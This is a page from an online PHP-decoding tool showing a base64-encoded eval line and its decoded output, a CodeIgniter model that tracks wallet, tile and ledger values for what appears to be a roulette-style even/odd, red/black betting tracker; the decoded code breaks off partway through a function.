Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCmlmICghZGVmaW5lZCgnQkFTRVBBVEgnKSkNCglleGl0KCdObyB..

Decoded Output download

?>b'<?php
if (!defined(\'BASEPATH\'))
	exit(\'No direct script access allowed\');
class Inputpages_model extends CI_Model {
	public function __construct() {
		parent::__construct();
		$this -> load -> library("session");
		$this->load->database();
	}	
	
	public function savementionnumZero(){
		$session_id = $this->session->session_id;
		$data[\'session_id\'] = $session_id;
		$data[\'mnumber\']    = $this->input->post(\'mnumber\');
		$this -> db -> insert(TBL_MENTIONNUMREC, $data);
		$inserted_id = $this -> db -> insert_id();
		
		$getSetvalue = $this->getSetvalue();
		$dnumber = $getSetvalue[\'dnumber\'];
		$getWalletvalue = $this->getWalletvalue();
			
		$eowallet = $getWalletvalue[\'eowallet\'];
		$updatewallet[\'eowallet\'] = $eowallet+$getSetvalue[\'lnumber\'];
			
		$rbwallet = $getWalletvalue[\'rbwallet\'];
		$updatewallet[\'rbwallet\'] = $rbwallet+$getSetvalue[\'lnumber\'];
			
		$htwallet = $getWalletvalue[\'htwallet\'];
		$updatewallet[\'htwallet\'] = $htwallet+$getSetvalue[\'lnumber\'];
			
		$this -> db -> where(\'session_id\', $session_id);
		$this -> db -> update(TBL_TILESVAL,$updatewallet);
		
		$getTopthreeVal = $this->getTopthreeVal();
			
			if($getTopthreeVal){
				foreach($getTopthreeVal as $mnumval){					
					//$tilesmnumval[] = $this->getValueinSet($mnumval[\'mnumber\']);
					$returnnumber[] = $mnumval[\'mnumber\'];
				}
			}
			
			if(count($returnnumber) > 0){
				$returnnumber = implode(\',\',$returnnumber);		
			}
			
			
		
		$totaloutgoing = 0;
		if($this->session->userdata(\'returnstring\')){
			$getWalletvalue = $this->getWalletvalue();
			$eowalletValue  = $getWalletvalue[\'eowallet\'];
			if($this->session->userdata(\'returnstring\') == \'even\'){
					$eotilesValue = $getWalletvalue[\'eventiles\'];
					$geneowalletval = ($eotilesValue*2)+$eowalletValue;
					$transferEoWalletValue = round($geneowalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
						$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
					}
					
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finaleowalletValue = $transferEoWalletValue;
					}else{
					$finaleowalletValue = 0;	
					}
					
					
					$updatewallet = array();
					$updatewallet[\'eventiles\'] = $transferEoWalletValue;
					$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'eventiles\');
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);				
					
				}else{
					$eotilesValue = $getWalletvalue[\'oddtiles\'];
					$geneowalletval = ($eotilesValue*2)+$eowalletValue;
					$transferEoWalletValue = round($geneowalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
						$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
					}
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finaleowalletValue = $transferEoWalletValue;
					}else{
					$finaleowalletValue = 0;	
					}
					
					
					$updatewallet = array();
					$updatewallet[\'oddtiles\'] = $transferEoWalletValue;
					$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'oddtiles\');
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
				
			
		}
		if($this->session->userdata(\'returncolorstring\')){
			
				$rbwalletValue  = $getWalletvalue[\'rbwallet\'];
				if($this->session->userdata(\'returncolorstring\') == \'red\'){
					$rbtilesValue = $getWalletvalue[\'redtiles\'];
					$genrbwalletval = ($rbtilesValue*2)+$rbwalletValue;
					$transferrbWalletValue = round($genrbwalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
						$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
					}
					
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finalrbwalletValue = $transferrbWalletValue;
					}else{
					$finalrbwalletValue = 0;	
					}
					


					$updatewallet = array();
					$updatewallet[\'redtiles\'] = $transferrbWalletValue;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'redtiles\');
					$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}else{
					$rbtilesValue = $getWalletvalue[\'blacktiles\'];
					$genrbwalletval = ($rbtilesValue*2)+$rbwalletValue;
					$transferrbWalletValue = round($genrbwalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
						$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
					}
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finalrbwalletValue = $transferrbWalletValue;
					}else{
					$finalrbwalletValue = 0;	
					}


					$updatewallet = array();
					$updatewallet[\'blacktiles\'] = $transferrbWalletValue;
					$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'blacktiles\');
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
			
			}
		if($this->session->userdata(\'returnplacestring\')){
			
				$htwalletValue  = $getWalletvalue[\'htwallet\'];
				if($this->session->userdata(\'returnplacestring\') == \'first\'){
					$httilesValue = $getWalletvalue[\'firsttiles\'];
					$genhtwalletval = ($httilesValue*2)+$htwalletValue;
					$transferhtWalletValue = round($genhtwalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
						$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
					}
					
					
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finalhtwalletValue = $transferhtWalletValue;
					}else{
					$finalhtwalletValue = 0;	
					}
					


					$updatewallet = array();
					$updatewallet[\'firsttiles\'] = $transferhtWalletValue;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'firsttiles\');	
					$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}else{
					$httilesValue = $getWalletvalue[\'secondtiles\'];
					$genhtwalletval = ($httilesValue*2)+$htwalletValue;
					$transferhtWalletValue = round($genhtwalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
						$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
					}
					
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finalhtwalletValue = $transferhtWalletValue;
					}else{
					$finalhtwalletValue = 0;	
					}
					


					$updatewallet = array();
					$updatewallet[\'secondtiles\'] = $transferhtWalletValue;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'secondtiles\');	
					$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}				
		}
		
		
			$updatewallet = array();			
			$updatewallet[\'outgoing\'] = $getWalletvalue[\'outgoing\']+$totaloutgoing;
			
			$updatewallet[\'ledger\']   = $getWalletvalue[\'incoming\']- $updatewallet[\'outgoing\'];
			
			if($getSetvalue[\'ledgerlimit\'] < $updatewallet[\'ledger\']){
			$updatewallet[\'mainledger\'] = $getWalletvalue[\'mainledger\']+$updatewallet[\'ledger\'];
			$updatewallet[\'ledger\'] = 0;
			$updatewallet[\'incoming\'] = 0;
			$updatewallet[\'outgoing\'] = 0;
			$updatewallet[\'eowallet\'] = 0;
			$updatewallet[\'rbwallet\'] = 0;
			$updatewallet[\'htwallet\'] = 0;	
			$updatewallet[\'redtiles\'] = 0;
			$updatewallet[\'blacktiles\'] = 0;
			$updatewallet[\'firsttiles\'] = 0;	
			$updatewallet[\'secondtiles\'] = 0;
			$updatewallet[\'eventiles\'] = 0;
			$updatewallet[\'oddtiles\'] = 0;	
			}
			
			if($updatewallet[\'ledger\'] < $getSetvalue[\'minusledglimit\']){
			$updatewallet[\'minusledger\'] = $getWalletvalue[\'minusledger\']+$updatewallet[\'ledger\'];
			$updatewallet[\'ledger\'] = 0;
			$updatewallet[\'incoming\'] = 0;
			$updatewallet[\'outgoing\'] = 0;
			$updatewallet[\'eowallet\'] = 0;
			$updatewallet[\'rbwallet\'] = 0;
			$updatewallet[\'htwallet\'] = 0;	
			$updatewallet[\'redtiles\'] = 0;
			$updatewallet[\'blacktiles\'] = 0;
			$updatewallet[\'firsttiles\'] = 0;	
			$updatewallet[\'secondtiles\'] = 0;
			$updatewallet[\'eventiles\'] = 0;
			$updatewallet[\'oddtiles\'] = 0;	
			}
			
			
			$this -> db -> where(\'session_id\', $session_id);
			$this -> db -> update(TBL_TILESVAL,$updatewallet);
			
			
			if(@$this->session->userdata(\'eachtime\') == \'apply\'){
				$this->onetime();				
			}
			
			
			
			$getWalletvalue = $this->getWalletvalue();			
			$result = array();						   
					   
			$result[\'returnstring\'] = $this->session->userdata(\'returnstring\');	
			//$result[\'returnnumber\'] = $returnnumber;
			$result[\'returncolorstring\'] = $this->session->userdata(\'returncolorstring\');	
			$result[\'returnplacestring\'] = $this->session->userdata(\'returnplacestring\');	
			
			$result[\'redtiles\'] = $getWalletvalue[\'redtiles\'];
			$result[\'blacktiles\'] = $getWalletvalue[\'blacktiles\'];
			$result[\'firsttiles\'] = $getWalletvalue[\'firsttiles\'];
			$result[\'secondtiles\'] = $getWalletvalue[\'secondtiles\'];
			$result[\'eventiles\'] = $getWalletvalue[\'eventiles\'];
			$result[\'oddtiles\'] = $getWalletvalue[\'oddtiles\'];
			
			$result[\'eowallet\'] = $getWalletvalue[\'eowallet\'];
			$result[\'rbwallet\'] = $getWalletvalue[\'rbwallet\'];
			$result[\'htwallet\'] = $getWalletvalue[\'htwallet\'];
			$result[\'incoming\'] = $getWalletvalue[\'incoming\'];
			$result[\'outgoing\'] = $getWalletvalue[\'outgoing\'];
			$result[\'ledger\'] =   $getWalletvalue[\'ledger\'];
			$result[\'mainledger\'] = $getWalletvalue[\'mainledger\'];
			$result[\'minusledger\'] = $getWalletvalue[\'minusledger\'];	
			
			
			if($getSetvalue[\'tilesequity\'] == \'yes\'){					
				$totaltilesval = 0;
				if($this->session->userdata(\'returnstring\') == \'even\'){
					$totaltilesval = $totaltilesval+$getWalletvalue[\'eventiles\'];
				}else{
					$totaltilesval = $totaltilesval+$getWalletvalue[\'oddtiles\'];
				}
			    if($this->session->userdata(\'returncolorstring\') == \'red\'){
			    	$totaltilesval = $totaltilesval+$getWalletvalue[\'redtiles\'];
				}else{
					$totaltilesval = $totaltilesval+$getWalletvalue[\'blacktiles\'];
				}
				if($this->session->userdata(\'returnplacestring\') == \'first\'){
					$totaltilesval = $totaltilesval+$getWalletvalue[\'firsttiles\'];
				}else{
					$totaltilesval = $totaltilesval+$getWalletvalue[\'secondtiles\'];
				}
				$totaltilesval = round($totaltilesval/3);
				
					$updatewallet = array();					
					if($this->session->userdata(\'returnstring\') == \'even\'){
					$updatewallet[\'eventiles\']=$totaltilesval;
					}else{
					$updatewallet[\'oddtiles\']=$totaltilesval;
					}
				    if($this->session->userdata(\'returncolorstring\') == \'red\'){
				    $updatewallet[\'redtiles\']=$totaltilesval;
					}else{
					$updatewallet[\'blacktiles\']=$totaltilesval;
					}
					if($this->session->userdata(\'returnplacestring\') == \'first\'){
					$updatewallet[\'firsttiles\']=$totaltilesval;
					}else{
					$updatewallet[\'secondtiles\']=$totaltilesval;
					}	
					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);				
					
				$getWalletvalue = $this->getWalletvalue();
				$result[\'redtiles\'] = $getWalletvalue[\'redtiles\'];
				$result[\'blacktiles\'] = $getWalletvalue[\'blacktiles\'];
				$result[\'firsttiles\'] = $getWalletvalue[\'firsttiles\'];
				$result[\'secondtiles\'] = $getWalletvalue[\'secondtiles\'];
				$result[\'eventiles\'] = $getWalletvalue[\'eventiles\'];
				$result[\'oddtiles\'] = $getWalletvalue[\'oddtiles\'];
			}
			$this->session->set_userdata($result);	
			return json_encode($result);
	}
	
	public function savementionnum(){
		$session_id = $this->session->session_id;
		$data[\'session_id\'] = $session_id;
		$data[\'mnumber\']    = $this->input->post(\'mnumber\');
		$this -> db -> insert(TBL_MENTIONNUMREC, $data);
		$inserted_id = $this -> db -> insert_id();
		if($inserted_id != \'\'){
			$getSetvalue = $this->getSetvalue();
			$dnumber = $getSetvalue[\'dnumber\'];
			$getWalletvalue = $this->getWalletvalue();
			
			$eowallet = $getWalletvalue[\'eowallet\'];
			$updatewallet[\'eowallet\'] = $eowallet+$getSetvalue[\'lnumber\'];
			
			$rbwallet = $getWalletvalue[\'rbwallet\'];
			$updatewallet[\'rbwallet\'] = $rbwallet+$getSetvalue[\'lnumber\'];
			
			$htwallet = $getWalletvalue[\'htwallet\'];
			$updatewallet[\'htwallet\'] = $htwallet+$getSetvalue[\'lnumber\'];
			
			$this -> db -> where(\'session_id\', $session_id);
			$this -> db -> update(TBL_TILESVAL,$updatewallet);
			
					
			$getTopthreeVal = $this->getTopthreeVal();
			
			if($getTopthreeVal){
				foreach($getTopthreeVal as $mnumval){					
					$tilesmnumval[] = $this->getValueinSet($mnumval[\'mnumber\']);
					$returnnumber[] = $mnumval[\'mnumber\'];
				}
			}
			
				if($this->input->post(\'mnumber\')%2 == 0){
						$returnstring = \'even\';
					}else{
						$returnstring = \'odd\';
					}	
			
			
			if(count($returnnumber) > 0){
				$returnnumber = implode(\',\',$returnnumber);		
			}
		
			if($tilesmnumval[0][\'prop\'][0] == \'blackset\'){
				$returncolorstring = \'black\';
			}else{
				$returncolorstring = \'red\';
			}
			
			if($tilesmnumval[0][\'prop\'][1] == \'firstht\'){
				$returnplacestring = \'first\';
			}else{
				$returnplacestring = \'second\';
			}
			
			$storecnt = array();
			$storecolorcnt = array();	
			$storeplacecnt = array();
			if(count($tilesmnumval)>2){
				$storecnt = array();
				$storecolorcnt = array();	
				$storeplacecnt = array();			
				foreach($tilesmnumval as $val){
					if($val[\'value\']%2 == 0){
						$storecnt[] = \'even\';
					}else{
						$storecnt[] = \'odd\';
					}
					
					if($val[\'prop\'][0] == \'blackset\'){
						$storecolorcnt[] = \'black\';
					}else{
						$storecolorcnt[] = \'red\';
					}
					
					if($val[\'prop\'][1] == \'firstht\'){
						$storeplacecnt[] = \'first\';
					}else{
						$storeplacecnt[] = \'second\';
					}
					
					
									
				}
			}
			
			$eoStatus = \'pass\';
			if($this->session->userdata(\'returnstring\')){
				$previousString = $this->session->userdata(\'returnstring\');
				if($previousString != $returnstring){
					$eoStatus = \'fail\';
				}else{
					$eoStatus = \'pass\';
				}
			}
			
			$rbStatus = \'pass\';
			if($this->session->userdata(\'returncolorstring\')){
				$previouscolorString = $this->session->userdata(\'returncolorstring\');
				if($previouscolorString != $returncolorstring){
					$rbStatus = \'fail\';
				}else{
					$rbStatus = \'pass\';
				}
			}
			
			$htStatus = \'pass\';
			if($this->session->userdata(\'returnplacestring\')){
				$previousplaceString = $this->session->userdata(\'returnplacestring\');
				if($previousplaceString != $returnplacestring){
					$htStatus = \'fail\';
				}else{
					$htStatus = \'pass\';
				}
			}
			
			if(count($storecnt) > 0){
				if($storecnt[0] == \'even\' && $storecnt[1] == \'odd\' && $storecnt[2] == \'even\'){
					$returnstring = \'odd\';					
				}
				
				if($storecnt[0] == \'odd\' && $storecnt[1] == \'even\' && $storecnt[2] == \'odd\'){
					$returnstring = \'even\';					
				}
					
			}			
			if(count($storecolorcnt) > 0){
				if($storecolorcnt[0] == \'red\' && $storecolorcnt[1] == \'black\' && $storecolorcnt[2] == \'red\'){
					$returncolorstring = \'black\';
				}
				
				if($storecolorcnt[0] == \'black\' && $storecolorcnt[1] == \'red\' && $storecolorcnt[2] == \'black\'){
					$returncolorstring = \'red\';
				}
			}
			
			if(count($storeplacecnt) > 0){
				if($storeplacecnt[0] == \'first\' && $storeplacecnt[1] == \'second\' && $storeplacecnt[2] == \'first\'){
					$returnplacestring = \'second\';
				}
				
				if($storeplacecnt[0] == \'second\' && $storeplacecnt[1] == \'first\' && $storeplacecnt[2] == \'second\'){
					$returnplacestring = \'first\';
				}
			}
			
			$getWalletvalue = $this->getWalletvalue();	
			
			
			$totalincoming = 0;
			$totaloutgoing = 0;
			
			if($eoStatus == \'fail\'){
				$eowalletValue  = $getWalletvalue[\'eowallet\'];
				if($this->session->userdata(\'returnstring\') == \'even\'){
					$eotilesValue = $getWalletvalue[\'eventiles\'];
					$geneowalletval = ($eotilesValue*2)+$eowalletValue;
					$transferEoWalletValue = round($geneowalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
						$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
					}
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finaleowalletValue = $transferEoWalletValue;
						}else{
					$finaleowalletValue = 0;		
						}
						
					$updatewallet = array();
					$updatewallet[\'eventiles\'] = 0;
					$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'eventiles\');
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}else{
					$eotilesValue = $getWalletvalue[\'oddtiles\'];
					$geneowalletval = ($eotilesValue*2)+$eowalletValue;
					$transferEoWalletValue = round($geneowalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
						$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
					}
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finaleowalletValue = $transferEoWalletValue;
					}else{
					$finaleowalletValue = 0;	
					}
					
					$updatewallet = array();
					$updatewallet[\'oddtiles\'] = 0;
					$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'oddtiles\');
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
			if($getSetvalue[\'fctv\'] == \'yes\'){	
				if($returnstring == \'even\'){
					$updatewallet = array();
					$updatewallet[\'eventiles\'] = $transferEoWalletValue;					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
					
				}else{
					$updatewallet = array();
					$updatewallet[\'oddtiles\'] = $transferEoWalletValue;					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}		
				}
			}else{
				$eowalletValue  = $getWalletvalue[\'eowallet\'];
				if($this->session->userdata(\'returnstring\') == \'even\'){
					$eotilesValue = $getWalletvalue[\'eventiles\'];
					$updatewallet = array();
					$updatewallet[\'eventiles\'] = 0;	
					$totalincoming = $totalincoming+$this->session->userdata(\'eventiles\');				
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);					
				}else{
					$eotilesValue = $getWalletvalue[\'oddtiles\'];
					$updatewallet = array();
					$updatewallet[\'oddtiles\'] = 0;	
					$totalincoming = $totalincoming+$this->session->userdata(\'oddtiles\');					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
				if($returnstring == \'even\'){
					$eotilesValue = $getWalletvalue[\'eventiles\'];
					$geneowalletval = $eowalletValue;
					$transferEoWalletValue = round($geneowalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
						$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
					}
					
					$finaleowalletValue = $transferEoWalletValue;
					$updatewallet = array();
					$updatewallet[\'eventiles\'] = $transferEoWalletValue;
					$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}else{
					$eotilesValue = $getWalletvalue[\'oddtiles\'];
					$geneowalletval = $eowalletValue;
					$transferEoWalletValue = round($geneowalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferEoWalletValue){
						$transferEoWalletValue = $getSetvalue[\'walletlimit\'];
					}
					
					$finaleowalletValue = $transferEoWalletValue;
					$updatewallet = array();
					$updatewallet[\'oddtiles\'] = $transferEoWalletValue;
					$updatewallet[\'eowallet\'] = $geneowalletval-$finaleowalletValue;
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
				
			}

			
			if($rbStatus == \'fail\'){
				$rbwalletValue  = $getWalletvalue[\'rbwallet\'];
				if($this->session->userdata(\'returncolorstring\') == \'red\'){
					$rbtilesValue = $getWalletvalue[\'redtiles\'];
					$genrbwalletval = ($rbtilesValue*2)+$rbwalletValue;
					$transferrbWalletValue = round($genrbwalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
						$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
					}
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finalrbwalletValue = $transferrbWalletValue;
					}else{
					$finalrbwalletValue = 0;	
					}
					
					
					$updatewallet = array();
					$updatewallet[\'redtiles\'] = 0;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'redtiles\');
					$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}else{
					$rbtilesValue = $getWalletvalue[\'blacktiles\'];
					$genrbwalletval = ($rbtilesValue*2)+$rbwalletValue;
					$transferrbWalletValue = round($genrbwalletval/$dnumber);
					
					if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
						$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
					}
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finalrbwalletValue = $transferrbWalletValue;
					}else{
					$finalrbwalletValue = 0;	
					}
					
					
					$updatewallet = array();
					$updatewallet[\'blacktiles\'] = 0;
					$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'blacktiles\');
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
				if($getSetvalue[\'fctv\'] == \'yes\'){
				if($returncolorstring == \'red\'){
					$updatewallet = array();
					$updatewallet[\'redtiles\'] = $transferrbWalletValue;					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
					
				}else{
					$updatewallet = array();
					$updatewallet[\'blacktiles\'] = $transferrbWalletValue;					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}		
				}
			}else{
				$rbwalletValue  = $getWalletvalue[\'rbwallet\'];
				if($this->session->userdata(\'returncolorstring\') == \'red\'){
					$rbtilesValue = $getWalletvalue[\'redtiles\'];
					$updatewallet = array();
					$updatewallet[\'redtiles\'] = 0;		
					$totalincoming = $totalincoming+$this->session->userdata(\'redtiles\');			
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);					
				}else{
					$rbtilesValue = $getWalletvalue[\'blacktiles\'];
					$updatewallet = array();
					$updatewallet[\'blacktiles\'] = 0;
					$totalincoming = $totalincoming+$this->session->userdata(\'blacktiles\');					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
				if($returncolorstring == \'red\'){
					$rbtilesValue = $getWalletvalue[\'redtiles\'];
					$genrbwalletval = $rbwalletValue;
					$transferrbWalletValue = round($genrbwalletval/$dnumber);
					if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
						$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
					}
					$finalrbwalletValue = $transferrbWalletValue;
					$updatewallet = array();
					$updatewallet[\'redtiles\'] = $transferrbWalletValue;
					$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}else{
					$rbtilesValue = $getWalletvalue[\'blacktiles\'];
					$genrbwalletval = $rbwalletValue;
					$transferrbWalletValue = round($genrbwalletval/$dnumber);
					if($getSetvalue[\'walletlimit\']<$transferrbWalletValue){
						$transferrbWalletValue = $getSetvalue[\'walletlimit\'];
					}
					$finalrbwalletValue = $transferrbWalletValue;
					$updatewallet = array();
					$updatewallet[\'blacktiles\'] = $transferrbWalletValue;
					$updatewallet[\'rbwallet\'] = $genrbwalletval-$finalrbwalletValue;
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
				
			}

			
			if($htStatus == \'fail\'){
				$htwalletValue  = $getWalletvalue[\'htwallet\'];
				if($this->session->userdata(\'returnplacestring\') == \'first\'){
					$httilesValue = $getWalletvalue[\'firsttiles\'];
					$genhtwalletval = ($httilesValue*2)+$htwalletValue;
					$transferhtWalletValue = round($genhtwalletval/$dnumber);
					if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
						$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
					}
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finalhtwalletValue = $transferhtWalletValue;
					}else{
					$finalhtwalletValue = 0;
					}
					$updatewallet = array();
					$updatewallet[\'firsttiles\'] = 0;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'firsttiles\');	
					$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}else{
					$httilesValue = $getWalletvalue[\'secondtiles\'];
					$genhtwalletval = ($httilesValue*2)+$htwalletValue;
					$transferhtWalletValue = round($genhtwalletval/$dnumber);
					if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
						$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
					}
					if($getSetvalue[\'fctv\'] == \'yes\'){
					$finalhtwalletValue = $transferhtWalletValue;
					}else{
					$finalhtwalletValue = 0;
					}
					$updatewallet = array();
					$updatewallet[\'secondtiles\'] = 0;
					$totaloutgoing = $totaloutgoing+$this->session->userdata(\'secondtiles\');	
					$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
				if($getSetvalue[\'fctv\'] == \'yes\'){
				if($returnplacestring == \'first\'){
					$updatewallet = array();
					$updatewallet[\'firsttiles\'] = $transferhtWalletValue;					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
					
				}else{
					$updatewallet = array();
					$updatewallet[\'secondtiles\'] = $transferhtWalletValue;					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
				}		
				
			}else{
				$htwalletValue  = $getWalletvalue[\'htwallet\'];
				if($this->session->userdata(\'returnplacestring\') == \'first\'){
					$httilesValue = $getWalletvalue[\'firsttiles\'];
					$updatewallet = array();
					$updatewallet[\'firsttiles\'] = 0;	
					$totalincoming = $totalincoming+$this->session->userdata(\'firsttiles\');					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);					
				}else{
					$httilesValue = $getWalletvalue[\'secondtiles\'];
					$updatewallet = array();
					$updatewallet[\'secondtiles\'] = 0;	
					$totalincoming = $totalincoming+$this->session->userdata(\'secondtiles\');					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
				if($returnplacestring == \'first\'){
					$httilesValue = $getWalletvalue[\'firsttiles\'];
					$genhtwalletval = $htwalletValue;
					$transferhtWalletValue = round($genhtwalletval/$dnumber);
					if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
						$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
					}
					$finalhtwalletValue = $transferhtWalletValue;
					$updatewallet = array();
					$updatewallet[\'firsttiles\'] = $transferhtWalletValue;
					$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}else{
					$httilesValue = $getWalletvalue[\'secondtiles\'];
					$genhtwalletval = $htwalletValue;
					$transferhtWalletValue = round($genhtwalletval/$dnumber);
					if($getSetvalue[\'walletlimit\']<$transferhtWalletValue){
						$transferhtWalletValue = $getSetvalue[\'walletlimit\'];
					}
					$finalhtwalletValue = $transferhtWalletValue;
					$updatewallet = array();
					$updatewallet[\'secondtiles\'] = $transferhtWalletValue;
					$updatewallet[\'htwallet\'] = $genhtwalletval-$finalhtwalletValue;
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);
				}
				
			}
			
			$updatewallet = array();
			$updatewallet[\'incoming\'] = $getWalletvalue[\'incoming\']+$totalincoming;
			$updatewallet[\'outgoing\'] = $getWalletvalue[\'outgoing\']+$totaloutgoing;
			$updatewallet[\'ledger\']   = $updatewallet[\'incoming\']- $updatewallet[\'outgoing\'];
			
			if($getSetvalue[\'ledgerlimit\'] < $updatewallet[\'ledger\']){
			$updatewallet[\'mainledger\'] = $getWalletvalue[\'mainledger\']+$updatewallet[\'ledger\'];
			$updatewallet[\'ledger\'] = 0;
